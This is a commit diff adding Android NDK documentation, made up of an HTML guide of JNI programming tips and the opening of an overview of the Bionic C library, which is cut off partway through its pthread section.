Add a bunch of documentation for the Android C library and the JNI interface to the NDK
This commit is contained in:
512
ndk/docs/system/jni/jni-tips.html
Normal file
512
ndk/docs/system/jni/jni-tips.html
Normal file
@@ -0,0 +1,512 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Android JNI Tips</title>
|
||||||
|
<link rel=stylesheet href="android.css">
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<h1><a name="JNI_Tips"></a>Android JNI Tips</h1>
|
||||||
|
<p>
|
||||||
|
</p><p>
|
||||||
|
</p><ul>
|
||||||
|
<li> <a href="#What_s_JNI_">What's JNI?</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#JavaVM_and_JNIEnv">JavaVM and JNIEnv</a>
|
||||||
|
|
||||||
|
</li>
|
||||||
|
<li> <a href="#jclassID_jmethodID_and_jfieldID">jclassID, jmethodID, and jfieldID</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#local_vs_global_references">Local vs. Global References</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#UTF_8_and_UTF_16_strings">UTF-8 and UTF-16 Strings</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#Arrays">Primitive Arrays</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#RegionCalls">Region Calls</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#Exceptions">Exceptions</a>
|
||||||
|
</li>
|
||||||
|
|
||||||
|
<li> <a href="#Extended_checking">Extended Checking</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#Native_Libraries">Native Libraries</a>
|
||||||
|
</li>
|
||||||
|
<li> <a href="#64bit">64-bit Considerations</a>
|
||||||
|
</li>
|
||||||
|
|
||||||
|
<li> <a href="#Unsupported">Unsupported Features</a>
|
||||||
|
</ul>
|
||||||
|
<p>
|
||||||
|
<noautolink>
|
||||||
|
</noautolink></p><p>
|
||||||
|
</p><h2><a name="What_s_JNI_"> </a> What's JNI? </h2>
|
||||||
|
<p>
|
||||||
|
|
||||||
|
JNI is the Java Native Interface. It defines a way for code written in the
|
||||||
|
Java programming language to interact with native
|
||||||
|
code, e.g. functions written in C/C++. It's VM-neutral, has support for loading code from
|
||||||
|
dynamic shared libraries, and while cumbersome at times is reasonably efficient.
|
||||||
|
</p><p>
|
||||||
|
You really should read through the
|
||||||
|
<a href="http://java.sun.com/javase/6/docs/technotes/guides/jni/spec/jniTOC.html">JNI spec for J2SE 1.6</a>
|
||||||
|
to get a sense for how JNI works and what features are available. Some
|
||||||
|
aspects of the interface aren't immediately obvious on
|
||||||
|
first reading, so you may find the next few sections handy.
|
||||||
|
The more detailed <i>JNI Programmer's Guide and Specification</i> can be found
|
||||||
|
<a href="http://java.sun.com/docs/books/jni/html/jniTOC.html">here</a>.
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><h2><a name="JavaVM_and_JNIEnv"> </a> JavaVM and JNIEnv </h2>
|
||||||
|
<p>
|
||||||
|
JNI defines two key data structures, "JavaVM" and "JNIEnv". Both of these are essentially
|
||||||
|
pointers to pointers to function tables. (In the C++ version, it's a class whose sole member
|
||||||
|
is a pointer to a function table.) The JavaVM provides the "invocation interface" functions,
|
||||||
|
which allow you to create and destroy the VM. In theory you can have multiple VMs per process,
|
||||||
|
but Android's VMs only allow one.
|
||||||
|
</p><p>
|
||||||
|
The JNIEnv provides most of the JNI functions. Your native functions all receive a JNIEnv as
|
||||||
|
the first argument.
|
||||||
|
</p><p>
|
||||||
|
|
||||||
|
On some VMs, the JNIEnv is used for thread-local storage. For this reason, <strong>you cannot share a JNIEnv between threads</strong>.
|
||||||
|
If a piece of code has no other way to get its JNIEnv, you should share
|
||||||
|
the JavaVM, and use JavaVM->GetEnv to discover the thread's JNIEnv.
|
||||||
|
</p><p>
|
||||||
|
The C and C++ declarations of JNIEnv and JavaVM are different. "jni.h" provides different typedefs
|
||||||
|
depending on whether it's included into ".c" or ".cpp". For this reason it's a bad idea to
|
||||||
|
include JNIEnv arguments in header files included by both languages. (Put another way: if your
|
||||||
|
header file requires "#ifdef __cplusplus", you may have to do some extra work if anything in
|
||||||
|
that header refers to JNIEnv.)
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><h2><a name="jclassID_jmethodID_and_jfieldID"> jclassID, jmethodID, and jfieldID </a></h2>
|
||||||
|
<p>
|
||||||
|
If you want to access an object's field from native code, you would do the following:
|
||||||
|
</p><p>
|
||||||
|
</p><ul>
|
||||||
|
<li> Get the class object reference for the class with <code>FindClass</code>
|
||||||
|
</li>
|
||||||
|
<li> Get the field ID for the field with <code>GetFieldID</code>
|
||||||
|
</li>
|
||||||
|
<li> Get the contents of the field with something appropriate, e.g.
|
||||||
|
<code>GetIntField</code>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<p>
|
||||||
|
Similarly, to call a method, you'd first get a class object reference and then a method ID. The IDs are often just
|
||||||
|
pointers to internal VM data structures. Looking them up may require several string
|
||||||
|
comparisons, but once you have them the actual call to get the field or invoke the method
|
||||||
|
is very quick.
|
||||||
|
</p><p>
|
||||||
|
If performance is important, it's useful to look the values up once and cache the results
|
||||||
|
in your native code. Because we are limiting ourselves to one VM per process, it's reasonable
|
||||||
|
to store this data in a static local structure.
|
||||||
|
</p><p>
|
||||||
|
The class references, field IDs, and method IDs are guaranteed valid until the class is unloaded. Classes
|
||||||
|
are only unloaded if all classes associated with a ClassLoader can be garbage collected,
|
||||||
|
which is rare but will not be impossible in our system. The jclassID
|
||||||
|
is a class reference and <strong>must be protected</strong> with a call
|
||||||
|
to <code>NewGlobalRef</code> (see the next section).
|
||||||
|
</p><p>
|
||||||
|
If you would like to cache the IDs when a class is loaded, and automatically re-cache them
|
||||||
|
if the class is ever unloaded and reloaded, the correct way to initialize
|
||||||
|
the IDs is to add a piece of code that looks like this to the appropriate class:
|
||||||
|
</p><p>
|
||||||
|
|
||||||
|
</p><pre> /*
|
||||||
|
* We use a class initializer to allow the native code to cache some
|
||||||
|
* field offsets.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* A native function that looks up and caches interesting
|
||||||
|
* class/field/method IDs for this class. Returns false on failure.
|
||||||
|
*/
|
||||||
|
native private static boolean nativeClassInit();
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Invoke the native initializer when the class is loaded.
|
||||||
|
*/
|
||||||
|
static {
|
||||||
|
if (!nativeClassInit())
|
||||||
|
throw new RuntimeException("native init failed");
|
||||||
|
}
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
Create a nativeClassInit method in your C/C++ code that performs the ID lookups. The code
|
||||||
|
will be executed once, when the class is initialized. If the class is ever unloaded and
|
||||||
|
then reloaded, it will be executed again. (See the implementation of java.io.FileDescriptor
|
||||||
|
for an example in our source tree.)
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><h2><a name="local_vs_global_references"> Local vs. Global References </a></h2>
|
||||||
|
<p>
|
||||||
|
Every object that JNI returns is a "local reference". This means that it's valid for the
|
||||||
|
duration of the current native method in the current thread.
|
||||||
|
<strong>Even if the object itself continues to live on after the native method returns, the reference is not valid.</strong>
|
||||||
|
This applies to all sub-classes of jobject, including jclass and jarray.
|
||||||
|
(Dalvik VM will warn you about this when -Xcheck:jni is enabled.)
|
||||||
|
</p><p>
|
||||||
|
|
||||||
|
If you want to hold on to a reference for a longer period, you must use a "global" reference.
|
||||||
|
The <code>NewGlobalRef</code> function takes the local reference as
|
||||||
|
an argument and returns a global one:
|
||||||
|
|
||||||
|
<p><pre>jobject* localRef = [...];
|
||||||
|
jobject* globalRef;
|
||||||
|
globalRef = env->NewGlobalRef(localRef);
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
The global reference is guaranteed to be valid until you call
|
||||||
|
<code>DeleteGlobalRef</code>.
|
||||||
|
</p><p>
|
||||||
|
All JNI methods accept both local and global references as arguments.
|
||||||
|
</p><p>
|
||||||
|
Programmers are required to "not excessively allocate" local references. In practical terms this means
|
||||||
|
that if you're creating large numbers of local references, perhaps while running through an array of
|
||||||
|
Objects, you should free them manually with
|
||||||
|
<code>DeleteLocalRef</code> instead of letting JNI do it for you. The
|
||||||
|
VM is only required to reserve slots for
|
||||||
|
16 local references, so if you need more than that you should either delete as you go or use
|
||||||
|
<code>EnsureLocalCapacity</code> to reserve more.
|
||||||
|
</p><p>
|
||||||
|
Note: method and field IDs are just 32-bit identifiers, not object
|
||||||
|
references, and should not be passed to <code>NewGlobalRef</code>. The raw data
|
||||||
|
pointers returned by functions like <code>GetStringUTFChars</code>
|
||||||
|
and <code>GetByteArrayElements</code> are also not objects.
|
||||||
|
</p><p>
|
||||||
|
One unusual case deserves separate mention. If you attach a native
|
||||||
|
thread to the VM with AttachCurrentThread, the code you are running will
|
||||||
|
never "return" to the VM until the thread detaches from the VM. Any local
|
||||||
|
references you create will have to be deleted manually unless the thread
|
||||||
|
is about to exit or detach.
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><h2><a name="UTF_8_and_UTF_16_strings"> </a> UTF-8 and UTF-16 Strings </h2>
|
||||||
|
<p>
|
||||||
|
The Java programming language uses UTF-16. For convenience, JNI provides methods that work with "modified UTF-8" encoding
|
||||||
|
as well. (Some VMs use the modified UTF-8 internally to store strings; ours do not.) The
|
||||||
|
modified encoding only supports the 8- and 16-bit forms, and stores ASCII NUL values in a 16-bit encoding.
|
||||||
|
The nice thing about it is that you can count on having C-style zero-terminated strings,
|
||||||
|
suitable for use with standard libc string functions. The down side is that you cannot pass
|
||||||
|
arbitrary UTF-8 data into the VM and expect it to work correctly.
|
||||||
|
</p><p>
|
||||||
|
It's usually best to operate with UTF-16 strings. With our current VMs, the
|
||||||
|
<code>GetStringChars</code> method
|
||||||
|
does not require a copy, whereas <code>GetStringUTFChars</code> requires a malloc and a UTF conversion. Note that
|
||||||
|
<strong>UTF-16 strings are not zero-terminated</strong>, and \u0000 is allowed,
|
||||||
|
so you need to hang on to the string length as well as
|
||||||
|
the string pointer.
|
||||||
|
|
||||||
|
</p><p>
|
||||||
|
<strong>Don't forget to Release the strings you Get</strong>. The string functions return <code>jchar*</code> or <code>jbyte*</code>, which
|
||||||
|
are pointers to primitive types rather than local references. They are
|
||||||
|
guaranteed valid until Release is called, which means they are not
|
||||||
|
released when the native method returns.
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
|
||||||
|
|
||||||
|
</p><h2><a name="Arrays"> </a> Primitive Arrays </h2>
|
||||||
|
<p>
|
||||||
|
JNI provides functions for accessing the contents of array objects.
|
||||||
|
While arrays of objects must be accessed one entry at a time, arrays of
|
||||||
|
primitives can be read and written directly as if they were declared in C.
|
||||||
|
</p><p>
|
||||||
|
To make the interface as efficient as possible without constraining
|
||||||
|
the VM implementation,
|
||||||
|
the <code>Get<PrimitiveType>ArrayElements</code> family of calls
|
||||||
|
allows the VM to either return a pointer to the actual elements, or
|
||||||
|
allocate some memory and make a copy. Either way, the raw pointer returned
|
||||||
|
is guaranteed to be valid until the corresponding <code>Release</code> call
|
||||||
|
is issued (which implies that, if the data wasn't copied, the array object
|
||||||
|
will be pinned down and can't be relocated as part of compacting the heap).
|
||||||
|
<strong>You must Release every array you Get.</strong> Also, if the Get
|
||||||
|
call fails, you must ensure that your code doesn't try to Release a NULL
|
||||||
|
pointer later.
|
||||||
|
</p><p>
|
||||||
|
You can determine whether or not the data was copied by passing in a
|
||||||
|
non-NULL pointer for the <code>isCopy</code> argument. This is rarely
|
||||||
|
useful.
|
||||||
|
</p><p>
|
||||||
|
The <code>Release</code> call takes a <code>mode</code> argument that can
|
||||||
|
have one of three values. The actions performed by the VM depend upon
|
||||||
|
whether it returned a pointer to the actual data or a copy of it:
|
||||||
|
<ul>
|
||||||
|
<li><code>0</code>
|
||||||
|
<ul>
|
||||||
|
<li>Actual: the array object is un-pinned.
|
||||||
|
<li>Copy: data is copied back. The buffer with the copy is freed.
|
||||||
|
</ul>
|
||||||
|
<li><code>JNI_COMMIT</code>
|
||||||
|
<ul>
|
||||||
|
<li>Actual: does nothing.
|
||||||
|
<li>Copy: data is copied back. The buffer with the copy
|
||||||
|
<strong>is not freed</strong>.
|
||||||
|
</ul>
|
||||||
|
<li><code>JNI_ABORT</code>
|
||||||
|
<ul>
|
||||||
|
<li>Actual: the array object is un-pinned. Earlier
|
||||||
|
writes are <strong>not</strong> aborted.
|
||||||
|
<li>Copy: the buffer with the copy is freed; any changes to it are lost.
|
||||||
|
</ul>
|
||||||
|
</ul>
|
||||||
|
</p><p>
|
||||||
|
One reason for checking the <code>isCopy</code> flag is to know if
|
||||||
|
you need to call <code>Release</code> with <code>JNI_COMMIT</code>
|
||||||
|
after making changes to an array -- if you're alternating between making
|
||||||
|
changes and executing code that uses the contents of the array, you may be
|
||||||
|
able to
|
||||||
|
skip the no-op commit. Another possible reason for checking the flag is for
|
||||||
|
efficient handling of <code>JNI_ABORT</code>. For example, you might want
|
||||||
|
to get an array, modify it in place, pass pieces to other functions, and
|
||||||
|
then discard the changes. If you know that JNI is making a new copy for
|
||||||
|
you, there's no need to create another "editable" copy. If JNI is passing
|
||||||
|
you the original, then you do need to make your own copy.
|
||||||
|
</p><p>
|
||||||
|
Some have asserted that you can skip the <code>Release</code> call if
|
||||||
|
<code>*isCopy</code> is false. This is not the case. If no copy buffer was
|
||||||
|
allocated, then the original memory must be pinned down and can't be moved by
|
||||||
|
the garbage collector.
|
||||||
|
</p><p>
|
||||||
|
Also note that the <code>JNI_COMMIT</code> flag does NOT release the array,
|
||||||
|
and you will need to call <code>Release</code> again with a different flag
|
||||||
|
eventually.
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
|
||||||
|
|
||||||
|
</p><h2><a name="RegionCalls"> Region Calls </a></h2>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
There is an alternative to calls like <code>Get<Type>ArrayElements</code>
|
||||||
|
and <code>GetStringChars</code> that may be very helpful when all you want
|
||||||
|
to do is copy data in or out. Consider the following:
|
||||||
|
<pre>
|
||||||
|
jbyte* data = env->GetByteArrayElements(array, NULL);
|
||||||
|
if (data != NULL) {
|
||||||
|
memcpy(buffer, data, len);
|
||||||
|
env->ReleaseByteArrayElements(array, data, JNI_ABORT);
|
||||||
|
}
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
This grabs the array, copies the first <code>len</code> byte
|
||||||
|
elements out of it, and then releases the array. Depending upon the VM
|
||||||
|
policies the <code>Get</code> call will either pin or copy the array contents.
|
||||||
|
We copy the data (for perhaps a second time), then call Release; in this case
|
||||||
|
we use <code>JNI_ABORT</code> so there's no chance of a third copy.
|
||||||
|
</p><p>
|
||||||
|
We can accomplish the same thing with this:
|
||||||
|
<pre>
|
||||||
|
env->GetByteArrayRegion(array, 0, len, buffer);
|
||||||
|
</pre>
|
||||||
|
</p><p>
|
||||||
|
This accomplishes the same thing, with several advantages:
|
||||||
|
<ul>
|
||||||
|
<li>Requires one JNI call instead of 3, reducing overhead.
|
||||||
|
<li>Doesn't require pinning or extra data copies.
|
||||||
|
<li>Reduces the risk of programmer error -- no need to match up
|
||||||
|
<code>Get</code> and <code>Release</code> calls.
|
||||||
|
</ul>
|
||||||
|
</p><p>
|
||||||
|
Similarly, you can use the <code>Set<Type>ArrayRegion</code> call
|
||||||
|
to copy data into an array, and <code>GetStringRegion</code> or
|
||||||
|
<code>GetStringUTFRegion</code> to copy characters out of a
|
||||||
|
<code>String</code>.
|
||||||
|
|
||||||
|
|
||||||
|
</p><h2><a name="Exceptions"> Exceptions </a></h2>
|
||||||
|
<p>
|
||||||
|
<strong>You may not call most JNI functions while an exception is pending.</strong>
|
||||||
|
Your code is expected to notice the exception (via the function's return value,
|
||||||
|
<code>ExceptionCheck()</code>, or <code>ExceptionOccurred()</code>) and return,
|
||||||
|
or clear the exception and handle it.
|
||||||
|
</p><p>
|
||||||
|
The only JNI functions that you are allowed to call while an exception is
|
||||||
|
pending are:
|
||||||
|
<font size="-1"><ul>
|
||||||
|
<li>DeleteGlobalRef
|
||||||
|
<li>DeleteLocalRef
|
||||||
|
<li>DeleteWeakGlobalRef
|
||||||
|
<li>ExceptionCheck
|
||||||
|
<li>ExceptionClear
|
||||||
|
<li>ExceptionDescribe
|
||||||
|
<li>ExceptionOccurred
|
||||||
|
<li>MonitorExit
|
||||||
|
<li>PopLocalFrame
|
||||||
|
<li>PushLocalFrame
|
||||||
|
<li>Release<PrimitiveType>ArrayElements
|
||||||
|
<li>ReleasePrimitiveArrayCritical
|
||||||
|
<li>ReleaseStringChars
|
||||||
|
<li>ReleaseStringCritical
|
||||||
|
<li>ReleaseStringUTFChars
|
||||||
|
</ul></font>
|
||||||
|
</p><p>
|
||||||
|
Note that exceptions thrown by interpreted code do not "leap over" native code,
|
||||||
|
and C++ exceptions thrown by native code are not handled by Dalvik.
|
||||||
|
The JNI <code>Throw</code> and <code>ThrowNew</code> instructions just
|
||||||
|
set an exception pointer in the current thread. Upon returning to the VM from
|
||||||
|
native code, the exception will be noted and handled appropriately.
|
||||||
|
</p><p>
|
||||||
|
Native code can "catch" an exception by calling <code>ExceptionCheck</code> or
|
||||||
|
<code>ExceptionOccurred</code>, and clear it with
|
||||||
|
<code>ExceptionClear</code>. As usual,
|
||||||
|
discarding exceptions without handling them can lead to problems.
|
||||||
|
</p><p>
|
||||||
|
There are no built-in functions for manipulating the Throwable object
|
||||||
|
itself, so if you want to (say) get the exception string you will need to
|
||||||
|
find the Throwable class, look up the method ID for
|
||||||
|
<code>getMessage "()Ljava/lang/String;"</code>, invoke it, and if the result
|
||||||
|
is non-NULL use <code>GetStringUTFChars</code> to get something you can
|
||||||
|
hand to printf or a LOG macro.
|
||||||
|
|
||||||
|
</p><p>
|
||||||
|
</p><p>
|
||||||
|
</p><h2><a name="Extended_checking"> Extended Checking </a></h2>
|
||||||
|
<p>
|
||||||
|
JNI does very little error checking. Calling <code>SetFieldInt</code>
|
||||||
|
on an Object field will succeed, even if the field is marked
|
||||||
|
<code>private</code> and <code>final</code>. The
|
||||||
|
goal is to minimize the overhead on the assumption that, if you've written it in native code,
|
||||||
|
you probably did it for performance reasons.
|
||||||
|
</p><p>
|
||||||
|
Some VMs support extended checking with the "<code>-Xcheck:jni</code>" flag. If the flag is set, the VM
|
||||||
|
puts a different table of functions into the JavaVM and JNIEnv pointers. These functions do
|
||||||
|
an extended series of checks before calling the standard implementation.
|
||||||
|
|
||||||
|
</p><p>
|
||||||
|
Some things that may be verified:
|
||||||
|
</p><p>
|
||||||
|
</p>
|
||||||
|
<ul>
|
||||||
|
<li> Check for null pointers where not allowed.
|
||||||
|
<li>
|
||||||
|
<li> Verify argument type correctness (jclass is a class object,
|
||||||
|
jfieldID points to field data, jstring is a java.lang.String).
|
||||||
|
</li>
|
||||||
|
<li> Field type correctness, e.g. don't store a HashMap in a String field.
|
||||||
|
</li>
|
||||||
|
<li> Check to see if an exception is pending on calls where pending exceptions are not legal.
|
||||||
|
</li>
|
||||||
|
<li> Check for calls to inappropriate functions between Critical get/release calls.
|
||||||
|
</li>
|
||||||
|
<li> Check that JNIEnv structs aren't being shared between threads.
|
||||||
|
|
||||||
|
</li>
|
||||||
|
<li> Make sure local references aren't used outside their allowed lifespan.
|
||||||
|
</li>
|
||||||
|
<li> UTF-8 strings contain valid "modified UTF-8" data.
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<p>Accessibility of methods and fields (i.e. public vs. private) is not
|
||||||
|
checked.
|
||||||
|
<p>
|
||||||
|
The Dalvik VM supports the <code>-Xcheck:jni</code> flag. For a
|
||||||
|
description of how to enable it for Android apps, see
|
||||||
|
<a href="embedded-vm-control.html">Controlling the Embedded VM</a>.
|
||||||
|
It's currently enabled by default in the Android emulator and on
|
||||||
|
"engineering" device builds.
|
||||||
|
|
||||||
|
</p><p>
|
||||||
|
JNI checks can be modified with the <code>-Xjniopts</code> command-line
|
||||||
|
flag. Currently supported values include:
|
||||||
|
</p>
|
||||||
|
<blockquote><dl>
|
||||||
|
<dt>forcecopy
|
||||||
|
<dd>When set, any function that can return a copy of the original data
|
||||||
|
(array of primitive values, UTF-16 chars) will always do so. The buffers
|
||||||
|
are over-allocated and surrounded with a guard pattern to help identify
|
||||||
|
code writing outside the buffer, and the contents are erased before the
|
||||||
|
storage is freed to trip up code that uses the data after calling Release.
|
||||||
|
<dt>warnonly
|
||||||
|
<dd>By default, JNI "warnings" cause the VM to abort. With this flag
|
||||||
|
it continues on.
|
||||||
|
</dl></blockquote>
|
||||||
|
|
||||||
|
|
||||||
|
</p><p>
|
||||||
|
</p><h2><a name="Native_Libraries"> Native Libraries </a></h2>
|
||||||
|
<p>
|
||||||
|
You can load native code from shared libraries with the standard
|
||||||
|
<code>System.loadLibrary()</code> call. The
|
||||||
|
preferred way to get at your native code is:
|
||||||
|
</p><p>
|
||||||
|
</p><ul>
|
||||||
|
<li> Call <code>System.loadLibrary()</code> from a static class initializer. (See the earlier example, where one is used to call nativeClassInit().) The argument is the "undecorated" library name, e.g. to load "libfubar.so" you would pass in "fubar".
|
||||||
|
|
||||||
|
</li>
|
||||||
|
<li> Provide a native function: <code><strong>jint JNI_OnLoad(JavaVM* vm, void* reserved)</strong></code>
|
||||||
|
</li>
|
||||||
|
<li>In <code>JNI_OnLoad</code>, register all of your native methods. You
|
||||||
|
should declare
|
||||||
|
the methods "static" so the names don't take up space in the symbol table
|
||||||
|
on the device.
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<p>
|
||||||
|
The <code>JNI_OnLoad</code> function should look something like this if
|
||||||
|
written in C:
|
||||||
|
</p><blockquote><pre>jint JNI_OnLoad(JavaVM* vm, void* reserved)
|
||||||
|
{
|
||||||
|
JNIEnv* env;
|
||||||
|
if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
/* get class with (*env)->FindClass */
|
||||||
|
/* register methods with (*env)->RegisterNatives */
|
||||||
|
|
||||||
|
return JNI_VERSION_1_4;
|
||||||
|
}
|
||||||
|
</pre></blockquote>
|
||||||
|
</p><p>
|
||||||
|
You can also call <code>System.load()</code> with the full path name of the
|
||||||
|
shared library. For Android apps, you can get the full path to the
|
||||||
|
application's private data storage area from the context object.
|
||||||
|
</p><p>
|
||||||
|
Dalvik does support "discovery" of native methods that are named in a
|
||||||
|
specific way (see <a href="http://java.sun.com/javase/6/docs/technotes/guides/jni/spec/design.html#wp615">
|
||||||
|
the JNI spec</a> for details), but this is a less desirable
|
||||||
|
approach. It requires more space in the shared object symbol table,
|
||||||
|
loading is slower because it requires string searches through all of the
|
||||||
|
loaded shared libraries, and if a method signature is wrong you won't know
|
||||||
|
about it until the first time the method is actually used.
|
||||||
|
</p><p>
|
||||||
|
|
||||||
|
|
||||||
|
</p><h2><a name="64bit"> 64-bit Considerations </a></h2>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Android is currently expected to run on 32-bit platforms. In theory it
|
||||||
|
could be built for a 64-bit system, but that is not a goal at this time.
|
||||||
|
For the most part this isn't something that you will need to worry about
|
||||||
|
when interacting with native code,
|
||||||
|
but it becomes significant if you plan to store pointers to native
|
||||||
|
structures in integer fields in an object. To support architectures
|
||||||
|
that use 64-bit pointers, <strong>you need to stash your native pointers in a
|
||||||
|
<code>long</code> field rather than an <code>int</code></strong>.
|
||||||
|
|
||||||
|
|
||||||
|
</p><h2><a name="Unsupported"> Unsupported Features </a></h2>
|
||||||
|
<p>All JNI 1.6 features are supported, with the following exceptions:
|
||||||
|
<ul>
|
||||||
|
<li><code>DefineClass</code> is not implemented. Dalvik does not use
|
||||||
|
Java bytecodes or class files, so passing in binary class data
|
||||||
|
doesn't work. Translation facilities may be added in a future
|
||||||
|
version of the VM.</li>
|
||||||
|
<li><code>NewWeakGlobalRef</code> and <code>DeleteWeakGlobalRef</code>
|
||||||
|
are not implemented. The
|
||||||
|
VM supports weak references, but not JNI "weak global" references.
|
||||||
|
These will be supported in a future release.</li>
|
||||||
|
<li><code>GetObjectRefType</code> (new in 1.6) is implemented but not fully
|
||||||
|
functional -- it can't always tell the difference between "local" and
|
||||||
|
"global" references.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<address>Copyright © 2008 The Android Open Source Project</address>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
388
ndk/docs/system/libc/OVERVIEW.TXT
Normal file
388
ndk/docs/system/libc/OVERVIEW.TXT
Normal file
@@ -0,0 +1,388 @@
|
|||||||
|
Bionic C Library Overview:
|
||||||
|
==========================
|
||||||
|
|
||||||
|
Introduction:
|
||||||
|
|
||||||
|
Core Philosophy:
|
||||||
|
|
||||||
|
The core idea behind Bionic's design is: KEEP IT REALLY SIMPLE.
|
||||||
|
|
||||||
|
This implies that the C library should only provide lightweight wrappers
|
||||||
|
around kernel facilities and not try to be too smart to deal with edge cases.
|
||||||
|
|
||||||
|
The name "Bionic" comes from the fact that it is part-BSD and part-Linux:
|
||||||
|
its source code consists in a mix of BSD C library pieces with custom
|
||||||
|
Linux-specific bits used to deal with threads, processes, signals and a few
|
||||||
|
others things.
|
||||||
|
|
||||||
|
All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific
|
||||||
|
bits carry the Android Open Source Project copyright disclaimer. And
|
||||||
|
everything is released under the BSD license.
|
||||||
|
|
||||||
|
Architectures:
|
||||||
|
|
||||||
|
Bionic currently supports the ARM and x86 instruction sets. In theory, it
|
||||||
|
should be possible to support more, but this may require a little work (e.g.
|
||||||
|
adding system call IDs to SYSCALLS.TXT, described below, or modifying the
|
||||||
|
dynamic linker).
|
||||||
|
|
||||||
|
The ARM-specific code is under arch-arm/ and the x86-specific one is under
|
||||||
|
arch-x86/
|
||||||
|
|
||||||
|
Note that the x86 version is only meant to run on an x86 Android device. We
|
||||||
|
make absolutely no claim that you could build and use Bionic on a stock x86
|
||||||
|
Linux distribution (though that would be cool, so patches are welcomed :-))
|
||||||
|
|
||||||
|
Syscall stubs:
|
||||||
|
|
||||||
|
Each system call function is implemented by a tiny assembler source fragment
|
||||||
|
(called a "syscall stub"), which is generated automatically by
|
||||||
|
tools/gensyscalls.py which reads the SYSCALLS.TXT file for input.
|
||||||
|
|
||||||
|
SYSCALLS.TXT contains the list of all syscall stubs to generate, along with
|
||||||
|
the corresponding syscall numeric identifier (which may differ between ARM
|
||||||
|
and x86), and its signature
|
||||||
|
|
||||||
|
If you modify this file, you may want to use tools/checksyscalls.py which
|
||||||
|
checks its content against official Linux kernel header files, and will
|
||||||
|
report errors when invalid syscall ids are used.
|
||||||
|
|
||||||
|
Sometimes, the C library function is really a wrapper that calls the
|
||||||
|
corresponding syscall with another name. For example, the exit() function
|
||||||
|
is provided by the C library and calls the _exit() syscall stub.
|
||||||
|
|
||||||
|
See SYSCALLS.TXT for documentation and details.
|
||||||
|
|
||||||
|
|
||||||
|
time_t:
|
||||||
|
|
||||||
|
time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version
|
||||||
|
would be preferrable to avoid the Y2038 bug, but the kernel maintainers
|
||||||
|
consider that this is not needed at the moment.
|
||||||
|
|
||||||
|
Instead, Bionic provides a <time64.h> header that defines a time64_t type,
|
||||||
|
and related functions like mktime64(), localtime64(), etc...
|
||||||
|
|
||||||
|
|
||||||
|
Timezone management:
|
||||||
|
|
||||||
|
The name of the current timezone is taken from the TZ environment variable,
|
||||||
|
if defined. Otherwise, the system property named 'persist.sys.timezone' is
|
||||||
|
checked instead.
|
||||||
|
|
||||||
|
The zoneinfo timezone database and index files are located under directory
|
||||||
|
/system/usr/share/zoneinfo, instead of the more Posix-compliant path of
|
||||||
|
/usr/share/zoneinfo
|
||||||
|
|
||||||
|
|
||||||
|
off_t:
|
||||||
|
|
||||||
|
For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant
|
||||||
|
due to BSD inheritance, but off64_t should be available as a typedef to ease
|
||||||
|
porting of current Linux-specific code.
|
||||||
|
|
||||||
|
|
||||||
|
Linux kernel headers:
|
||||||
|
|
||||||
|
Bionic comes with its own set of "clean" Linux kernel headers to allow
|
||||||
|
user-space code to use kernel-specific declarations (e.g. IOCTLs, structure
|
||||||
|
declarations, constants, etc...). They are located in:
|
||||||
|
|
||||||
|
./kernel/common,
|
||||||
|
./kernel/arch-arm
|
||||||
|
./kernel/arch-x86
|
||||||
|
|
||||||
|
These headers have been generated by a tool (kernel/tools/update-all.py) to
|
||||||
|
only include the public definitions from the original Linux kernel headers.
|
||||||
|
|
||||||
|
If you want to know why and how this is done, read kernel/README.TXT to get
|
||||||
|
all the (gory) details.
|
||||||
|
|
||||||
|
|
||||||
|
PThread implementation:
|
||||||
|
|
||||||
|
Bionic's C library comes with its own pthread implementation bundled in.
|
||||||
|
This is different from other historical C libraries which:
|
||||||
|
|
||||||
|
- place it in an external library (-lpthread)
|
||||||
|
- play linker tricks with weak symbols at dynamic link time
|
||||||
|
|
||||||
|
The support for real-time features (a.k.a. -lrt) is also bundled in the
|
||||||
|
C library.
|
||||||
|
|
||||||
|
The implementation is based on futexes and strives to provide *very* short
|
||||||
|
code paths for common operations. Notable features are the following:
|
||||||
|
|
||||||
|
- pthread_mutex_t, pthread_cond_t are only 4 bytes each.
|
||||||
|
|
||||||
|
- Normal, recursive and error-check mutexes are supported, and the code
|
||||||
|
path is heavily optimized for the normal case, which is used most of
|
||||||
|
the time.
|
||||||
|
|
||||||
|
- Process-shared mutexes and condition variables are not supported.
|
||||||
|
Their implementation requires far more complexity and was absolutely
|
||||||
